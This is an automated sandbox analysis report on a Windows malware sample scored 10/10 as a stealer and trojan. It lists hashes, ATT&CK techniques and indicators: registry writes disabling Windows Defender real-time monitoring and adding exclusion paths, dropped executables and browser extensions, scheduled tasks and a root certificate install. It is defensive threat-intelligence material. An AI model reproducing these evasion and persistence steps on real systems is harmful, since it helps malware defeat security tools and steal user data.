324edc8acd355934c63a1fcaa6c4793d681302fa49d4f5233eaeafdc366e34ab

Analysis

max time kernel
135s
max time network
138s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
26/10/2022, 12:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.2MB
MD5

4c3bf9f44cb3b0beafd4fdbe47a64eeb
SHA1

fc3dfad3a7e2197857a94514a186bfcfeeaf6b00
SHA256

324edc8acd355934c63a1fcaa6c4793d681302fa49d4f5233eaeafdc366e34ab
SHA512

36cacdb10d8da5f6c5fbf0c176db314cfb23ff15154f95d3a07038e191ffeece9467feed41a3294a25797937d5ce60c197fc0ca554895b54c68381f261ec4622
SSDEEP

196608:91O/pWMv3UnNQzQSlz+qCpqFWoYICsTs7YT5OS++5TM8pPwGt:3OxWRnN7SYZIjTsq5OSw2t

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CrVpqlWoU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oQtMlHEnfKUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PtFLChdTWFkbMOwK = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PtFLChdTWFkbMOwK = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CrVpqlWoU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PtFLChdTWFkbMOwK = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\lVrlTdgfhXOU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\PtFLChdTWFkbMOwK = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AJYQrkrAhIRXC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\LcMDsXLSmMLmtBGQR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AJYQrkrAhIRXC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\lVrlTdgfhXOU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\oQtMlHEnfKUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\hfmUoVlnDXXxKeVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\hfmUoVlnDXXxKeVB = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	876	rundll32.exe

Executes dropped EXE 4 IoCs

pid	Process
1960	Install.exe
1200	Install.exe
1424	HVxLMIe.exe
2008	pMnqmNn.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Loads dropped DLL 12 IoCs

pid	Process
780	file.exe
1960	Install.exe
1960	Install.exe
1960	Install.exe
1960	Install.exe
1200	Install.exe
1200	Install.exe
1200	Install.exe
876	rundll32.exe
876	rundll32.exe
876	rundll32.exe
876	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	pMnqmNn.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	pMnqmNn.exe

Drops file in System32 directory 22 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_7D7374C3BD488A38BC34DD9B008EDC62	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_7D7374C3BD488A38BC34DD9B008EDC62	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_7987E17ED77D800093D5BF3096E78D98	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	HVxLMIe.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	HVxLMIe.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_7987E17ED77D800093D5BF3096E78D98	pMnqmNn.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	pMnqmNn.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	pMnqmNn.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	pMnqmNn.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	HVxLMIe.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	pMnqmNn.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	pMnqmNn.exe
File created	C:\Program Files (x86)\lVrlTdgfhXOU2\FDHlgBPcNMcER.dll	pMnqmNn.exe
File created	C:\Program Files (x86)\AJYQrkrAhIRXC\cookCaN.dll	pMnqmNn.exe
File created	C:\Program Files (x86)\lVrlTdgfhXOU2\xTINUdn.xml	pMnqmNn.exe
File created	C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR\aVUcNeo.dll	pMnqmNn.exe
File created	C:\Program Files (x86)\LzmXMIHnPUltEyKLVfR\IwevVbg.xml	pMnqmNn.exe
File created	C:\Program Files (x86)\AJYQrkrAhIRXC\mGOcbsw.xml	pMnqmNn.exe
File created	C:\Program Files (x86)\CrVpqlWoU\DlBcME.dll	pMnqmNn.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	pMnqmNn.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	pMnqmNn.exe
File created	C:\Program Files (x86)\CrVpqlWoU\CkamRwA.xml	pMnqmNn.exe
File created	C:\Program Files (x86)\oQtMlHEnfKUn\MZZYwwn.dll	pMnqmNn.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\gJECdJUNuqvNlNQ.job	schtasks.exe
File created	C:\Windows\Tasks\CDUwqlMPSeBRbvnPZ.job	schtasks.exe
File created	C:\Windows\Tasks\bKFjthDDlmdmBdSpYV.job	schtasks.exe
File created	C:\Windows\Tasks\wLvsIRnBfEcGhlAOV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2036	schtasks.exe
1712	schtasks.exe
1620	schtasks.exe
528	schtasks.exe
656	schtasks.exe
1532	schtasks.exe
1676	schtasks.exe
1116	schtasks.exe
1932	schtasks.exe
2036	schtasks.exe
1336	schtasks.exe
2020	schtasks.exe
1744	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	pMnqmNn.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BD494073-7181-4B65-8F37-F565ACDBF9F6}\WpadDecisionTime = 709dcf2548e9d801	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	pMnqmNn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cb-ce-21-d5-58	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cb-ce-21-d5-58\WpadDecisionTime = 709dcf2548e9d801	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BD494073-7181-4B65-8F37-F565ACDBF9F6}\WpadDecision = "0"	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BD494073-7181-4B65-8F37-F565ACDBF9F6}	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	pMnqmNn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{BD494073-7181-4B65-8F37-F565ACDBF9F6}\WpadDecisionReason = "1"	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cb-ce-21-d5-58\WpadDecision = "0"	pMnqmNn.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cb-ce-21-d5-58\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	pMnqmNn.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\9a-cb-ce-21-d5-58\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	pMnqmNn.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	pMnqmNn.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	pMnqmNn.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f001c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	pMnqmNn.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	pMnqmNn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	pMnqmNn.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1520	powershell.EXE
1520	powershell.EXE
1520	powershell.EXE
1180	powershell.EXE
1180	powershell.EXE
1180	powershell.EXE
764	powershell.EXE
764	powershell.EXE
764	powershell.EXE
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe
2008	pMnqmNn.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

